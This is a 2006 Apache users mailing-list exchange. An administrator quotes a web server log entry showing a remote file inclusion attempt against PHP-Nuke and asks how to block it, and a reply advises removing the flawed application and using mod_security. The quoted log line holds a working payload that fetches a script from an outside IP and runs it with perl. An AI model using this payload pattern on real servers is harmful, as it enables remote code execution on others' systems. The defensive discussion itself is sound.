On 8/7/06, david <[EMAIL PROTECTED]> wrote:
Hello!
Recently, i've founded some entries on my apache webserver log like this:
[IP] - - [05/Aug/2006:02:17:47 +0200] "GET
/nuke/index.php?config=1&base_datapath=http://210.204.138.43/cmd.txt?&cmd=cd%20/tmp/;GET%20http://210.204.138.43/WMNews.txt%20>%20WMNews.txt;perl%20WMNews.txt;rm%20WMNews*?
HTTP/1.0" 200 220151 "-" "Mozilla/5.0"
As you can see, some attacker tries to use the index.php file to get a
cmd.txt file from other site.
are there any way to detect this urls to stop this configuring apache?
If this is actually working on your server, you need to immediately
get rid of the application that is allowing it (php-nuke it seems),
since it has a major security flaw.
In general, mod_security can be used to block suspicious URLs. But it
is not a substitute for making sure you only use secure web
applications.
Joshua.
---------------------------------------------------------------------
The official User-To-User support forum of the Apache HTTP Server Project.
See <URL:http://httpd.apache.org/userslist.html> for more info.
To unsubscribe, e-mail: [EMAIL PROTECTED]
" from the digest: [EMAIL PROTECTED]
For additional commands, e-mail: [EMAIL PROTECTED]
